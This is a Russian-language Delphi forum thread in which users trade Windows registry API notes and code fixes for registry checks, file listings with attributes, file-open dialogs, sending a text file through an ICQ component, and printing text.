_____ Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.
================================================== ==

Получить имена всех подразделов раздела Key:

RegEnumKey(Key:HKey; index: Longint; Buffer: PChar; cb: Longint): Longint;

_____ Key - Handle на открытый или созданный раздел
_____ Buffer - указатель на буфер
_____ cb - размер буфера
_____ index - индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование - в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой
================================================== ==

Возвращает текстовую строку, связанную с ключом Key\SubKey:

RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;

_____ Ключ\подключ Key\SubKey.
_____ Value - буфер для строки
_____ cb - размер, на входе - размер буфера, на выходе - длина возвращаемой строки.
_____ Возврат - код ошибки.
================================================== ==

Задать новое значение ключу Key\SubKey:

RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;

_____ Ключ\подключ Key\SubKey.
_____ ValType - тип задаваемой переменной,
_____ Value - буфер для переменной
_____ cb - размер буфера. В Windows 3.1 допустимо только Value=REG_SZ.
_____ Возврат - код ошибки или ERROR_SUCCESS, если нет ошибок.
================================================== ==

Удаляет значение lpValueName находящееся в ключе hKey:

RegDeleteValue(HKEY hKey, LPCTSTR lpValueName);

_____ hKey - ключ. hKey должен был быть открыт с доступом KEY_SET_VALUE процедурой RegOpenKey.
_____ lpValueName - значение, находящееся в ключе hKey.
_____ Возвращает ERROR_SUCCESS если успешно.
================================================== ==

Выдает список значений у ключа hKey:

LONG RegEnumValue( HKEY hKey, DWORD dwIndex, LPTSTR lpValueName, LPDWORD lpcbValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);

_____ hKey - ключ.
_____ dwIndex - этот параметр должен быть 0 при первом вызове, а далее по анологии с RegEnumKey (т.е. можно использовать в цикле),
_____ lpValueName - буфер для названия значения
_____ lpcbValueName - размер lpValueName
_____ lpReserved должно быть всегда 0
_____ lpType - буфер для названия типа (int)
_____ lpData - буфер для данных
_____ lpcbData-размер для lpData
================================================== ==


Примечание:
При каждой новом вызове функции после предыдущего нужно заново переназначить lpcbValueName.

lpcbValueName = sizeof(lpValueName)
Мне этого хлама в нете хватает, мне нужен пример проверки я выше оставил ео подправить...

[Flame of Soul]

Мне этого хлама в нете хватает, мне нужен пример проверки я выше оставил ео подправить...
видимо потому что для Вас это хлам, Вы позволяете себе такое множество ошибок:

HKEY_LOCAL_MACHINESOFTWARE11111 - не является типом HKEY и не может быть использовано.
UINNickList := TList.Create; - неописанная переменная UINNickList
if open=true then ... - каком основании Вы сравниваете возвращаемое значение функции??? а не саму функцию с указанными параметрами?
result:=open; - на каком основании Вы возвращаете какое-то ореn, когда у Вас в функции указан Boolean для возвращаемого значения?

PS: не относитесь к хорошей информации как к хламу, я искринне желаю Вам успехов в дальнейшей работе с реестром.

Рабочий код:

function LastPos(Needle: Char; Haystack: string): integer;
begin
for Result := Length(Haystack) downto 1 do
if Haystack[Result] = Needle then
Break;
end;

function RegKeyExists(RK: HKEY; Name: string): boolean;
var
SK: string;
n: integer;
hTemp: HKEY;
begin
Result := False;
n := LastPos('\', Name); //'
if n > 0 then
begin
SK := Copy(Name, 1, n - 1);
if RegOpenKeyEx(RK, PChar(SK), 0, KEY_READ, hTemp) = ERROR_SUCCESS
then
begin
Result := True;
RegCloseKey(hTemp);
end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
// 'SOFTWARE\Alawar\6462\' - обратите внимание на символ \
// его нет в начале но он обязателен на конце
if RegKeyExists(HKEY_LOCAL_MACHINE,'SOFTWARE\Alawar\6 462\')=true //'
then
begin
//...если существует
ShowMessage('true'); //'
end
else
begin
//...если не существует
ShowMessage('false'); //'
end;
end;

[Stil Free]

[B]видимо потому что для Вас это хлам, Вы позволяете себе такое множество ошибок:

[SIZE=1]HKEY_LOCAL_MACHINESOFTWARE11111 - не является типом HKEY и не может быть использовано.

это я когда код добавлял потёр случайно..

UINNickList := TList.Create; - неописанная переменная UINNickList

Это левое используется в самой проге и описано в корне....

if open=true then ...[COLOR=YellowGreen] - каком основании Вы сравниваете возвращаемое значение функции??? а не саму функцию с указанными параметрами?
open описана как boolean, после завершения операции если ключ существует то присваивается true ,а результат операции я присваиваю к open .... Ну помоему здесь весь косяк....

Спасибо я разобрался)

[НTL]

Как можно при открытии Form2 забрать значение из Form1
Чтобы: Form2.Label2.Caption = Form1.Edit1.Text

[mailbrush]

НTL, в uses подключай юнит другой формы.

Как окурглить рамку (контур) кнопки?

[Nightmarе]

procedure TForm1.Button1Click(Sender: TObject);
var
Searchrec: Tsearchrec;
s:string;
begin
memo2.Clear;
FindFirst(Edit1.Text+'*.*', FaAnyfile, SearchRec);
if (SearchRec.Attr and faDirectory)<>0 then s:=Edit1.Text else s:=Edit1.Text;
memo2.Lines.Add(s+SearchRec.Name);
while FindNext(SearchRec) = 0 do
begin
if (SearchRec.Attr and faDirectory)<>0 then s:=Edit1.Text else s:=Edit1.Text;
if (SearchRec.Attr and faHidden) <> 0 then
memo2.Lines.Add(''+s+SearchRec.Name+'')
else
memo2.Lines.Add(s+SearchRec.Name);
end;
end;

Подскажите плиз, как в данном коде сделать так, чтобы он выделял папки тегом [folder], скрытые папки [hidefolder], файлы [files], скрытые файлы [hidenfiles], сам по всякому пробовал, никак не получается ;(

[Rebit]

Нада человек який решить задачки 1-курсу института

Задача типа



Лабораторна робота № 1 Розгалуження.
Розробити програму для обчислення простого виразу, вхідні дані ввести з
клавіатури, результат вивести у форматованому вигляді, передбачити затримку пе-
реходу від екрана з результатами до програми. Знак ‘^’ означає ‘у ступеню’.
1. Задані дві функції y1 y2
24x2 x
y1=------------ ; y2=1 - -------;
(8+3x)2 2+x
Cкласти програму, результатом роботи якої, є найбільше значення однієї з них.
2.Дана точка з координатами x,y,z. Встановити чи належить вона кулі з центром c(x0,y0,z0) та радіусом R.
3. Задані три функції y1,y2,y3. Скласти програму, результатом якої буде найбільше значення однієї з них.
1 1
y1=--- - ----; y2= 8x; y3=5x2+3x+1;
x x2
4. Дані дві функції y1 y2.
1 6 1 1
y1=--- + ----; y2= 3x + ---- + ----;
x x2 6x 9x2
5. На площині задані два кола з радіусами R1, R2 і координатами центрів C1(x1,y1), C2(x2,y2), з'ясувати, чи мають вони: одну, дві, чи не мають спільних точок перетину взагалі.




С меня плюсики + благодарность

Заданий много то стучите все и при цьом задания разних типов

Актуально

[НTL]

mailbrush, 3 вкладка, последний компонент, XP... Просто на форму ее кинь

[Zitt]

Как распечатать текст в определенном месте на листе?
например в углах листа...

[Flame of Soul]

Подскажите плиз, как в данном коде сделать так, чтобы он выделял папки тегом [folder], скрытые папки [hidefolder], файлы [files], скрытые файлы [hidenfiles], сам по всякому пробовал, никак не получается ;(
Реализация:
procedure LFD(Path: string; FileList: TStrings);
var
SR: TSearchRec;
AT: Integer;
ST: String;
begin
if FindFirst(Path + '*.*', faAnyFile, SR) = 0 then
begin
repeat
if DirectoryExists(path+SR.Name) then
begin
ST :='Folder';
AT := FileGetAttr(path+SR.Name);
if (AT and faHidden) <> 0 then ST := ST + 'H'; //Hidden
if (AT and faReadOnly)<> 0 then ST := ST + 'R'; //Read-Only
if (AT and faSysFile) <> 0 then ST := ST + 'S'; //System
if (AT and faArchive) <> 0 then ST := ST + 'A'; //Archive
ST:=ST+'] ';
FileList.Add(' [' + ST + SR.Name + ' [/'+ST);
end
else
begin
ST :='File';
AT := FileGetAttr(path+SR.Name);
if (AT and faHidden) <> 0 then ST := ST + 'H'; //Hidden
if (AT and faReadOnly)<> 0 then ST := ST + 'R'; //Read-Only
if (AT and faSysFile) <> 0 then ST := ST + 'S'; //System
if (AT and faArchive) <> 0 then ST := ST + 'A'; //Archive
ST:=ST+'] ';
FileList.Add(' [' + ST + SR.Name + ' [/'+ST);
end
until FindNext(SR) <> 0;
FindClose(SR);
end;
end;
Пример вызова:
procedure TForm1.Button1Click(Sender: TObject);
begin
LFD('c:\',Memo1.Lines);
end;

[НTL]

как сделать кнопку "Обзор" (Файлов)
Да еще чтобы под "Имя файла" было "Тип файла" тыпы который я должен указать сам...

ПСы: Гугол седня играет не в мою пользу :(

[Flame of Soul]

как сделать кнопку "Обзор" (Файлов)
Да еще чтобы под "Имя файла" было "Тип файла" тыпы который я должен указать сам..

если на Дельфи, то вкладка Dialog -> добавляешь на форму OpenDialog
открываешь в свойствах Filter у OpenDialog и там 2 колонки, так вот в первую пишешь что хочешь, а во вторую маску файлов.
http://xmages.net/out.php/i207064_Untitled5.jpg
Потом обработчик:
procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
if OpenDialog1.Execute then s:=OpenDialog1.FileName;
end;

[НTL]

если на Дельфи, то вкладка Dialog -> добавляешь на форму OpenDialog
открываешь в свойствах Filter у OpenDialog и там 2 колонки, так вот в первую пишешь что хочешь, а во вторую маску файлов.
http://xmages.net/out.php/i207064_Untitled5.jpg
Потом обработчик:
procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
if OpenDialog1.Execute then s:=OpenDialog1.FileName;
end;

Все работате, но теперь как перехватить путь и имя файла и закинуть это в эдит1 (например: выбрали мы фаил и он записался в эдит1 в таком виде: c:\папка\папка\еще одна папка\фаил.txt

[Flame of Soul]

procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
if OpenDialog1.Execute then s:=OpenDialog1.FileName;
end;
полный путь храниться в переменной s
Можете сделать так:
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then Edit1.Text:=OpenDialog1.FileName;
end;

[diznt]

НTL вроде так

procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
if OpenDialog1.Execute then
begin
edit1.text:=OpenDialog1.FileName;
end;
end;

Flame of Soul опередил :rolleyes: ;)

[Vadimka]

Уважаемые дельфисты! Подправьте пож-та код....
Жутко грузит систему

procedure TForm1.StartuemClick(Sender: TObject);
var
k: longint;
H: HWND;

begin
StringGrid2.RowCount:=StringGrid2.RowCount+1;
k:=StringGrid2.RowCount-3;
for k := 0 to StringGrid1.RowCount - 1 do
if k<>0 then
begin

ShellExecute(Handle,'open',pchar(StringGrid1.Cells [1,k]),nil,nil,SW_SHOWNORMAL);
sleep(5000);

H := FindWindow('IEFrame', nil);
SendMessage(H, WM_SYSCOMMAND, SC_CLOSE, 0);
end;

end;

[Flame of Soul]

Уважаемые дельфисты! Подправьте пож-та код....
Жутко грузит систему
sleep(5000); - это плохо, очень плёхо))) используйте таймер и счетчик тогда уж.))
и также вставьте в тело цикла:
if k<>0 then
begin
.....
.....
Application.ProcessMessages;
end;
Application.ProcessMessages; - дайте поработать системе.

[НTL]

ICQClient1.SendMessage(Ася,'Масага');

Как можно вместо масаги отправить содержимое txt файла?

[Flame of Soul]

Как можно вместо масаги отправить содержимое txt файла?
function GTFF(AF: string; var RS: string): Boolean;
var
FS: TFileStream;
begin
Result := False;
if not FileExists(AF) then Exit;
FS:=TFileStream.Create(AF, fmOpenRead);
try if FS.Size <> 0 then begin
SetLength(RS,FS.Size);
FS.Read(RS[1], FS.Size);
Result := True;
end; finally FS.Free; end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
if GTFF('c:\ALCxxx-06.log', s) then
ICQClient1.SendMessage(Ася,s);
end;

[НTL]

function GTFF(AF: string; var RS: string): Boolean;
var
FS: TFileStream;
begin
Result := False;
if not FileExists(AF) then Exit;
FS:=TFileStream.Create(AF, fmOpenRead);
try if FS.Size <> 0 then begin
SetLength(RS,FS.Size);
FS.Read(RS[1], FS.Size);
Result := True;
end; finally FS.Free; end;
end;

Как и куда это кидать?

[Zitt]

на мой вопрос никто не знает ответа? ))

[Flame of Soul]

на мой вопрос никто не знает ответа? ))
а с какого компонента или какой файл какого формата выводится на печать? или просто текст и координаты?
Как и куда это кидать?
это функция поставь ее сразу после
implementation

{$R *.dfm}

[Zitt]

просто текст и координаты

[Flame of Soul]

просто текст и координаты

самая тупая идея в 5 утра, нарисовать текст на картинке в нужных те координатах и распечатать картинку. Я с печатью никогда не работала, т.к. своего принтера нету.

Рисуем Текст:
var
bm : TBitmap;
OldBkMode : integer;
begin
bm := TBitmap.Create;
bm.Width := BitBtn1.Glyph.Width;
bm.Height := BitBtn1.Glyph.Height;
bm.Canvas.Draw(0, 0, BitBtn1.Glyph);
OldBkMode := SetBkMode(bm.Canvas.Handle, Transparent);
bm.Canvas.TextOut(0, 0, 'The Caption');
SetBkMode(bm.Canvas.Handle, OldBkMode);
BitBtn1.Glyph.Assign(bm);
end;


Печатаем картинку:
procedure AngleTextOut(CV: TCanvas; const sText: string; x, y, angle: integer);
var
LogFont: TLogFont;
SaveFont: TFont;

procedure TForm1.Button1Click(Sender: TObject);
var
ScaleX, ScaleY: Integer;
R: TRect;
begin
Printer.BeginDoc; // **
with Printer do
try
ScaleX := GetDeviceCaps(Handle, logPixelsX) div PixelsPerInch;
ScaleY := GetDeviceCaps(Handle, logPixelsY) div PixelsPerInch;
R := Rect(0, 0, Image1.Picture.Width * ScaleX,
Image1.Picture.Height * ScaleY);
Canvas.StretchDraw(R, Image1.Picture.Graphic); // **
finally
EndDoc; // **
end;
end;
//Данный код осуществляет корректное масштабирование
//изображения, в противном случае при печати вы можете получить
//небольшую иконку. Разрешение принтера больше, чем разрешение вашего
//дисплея.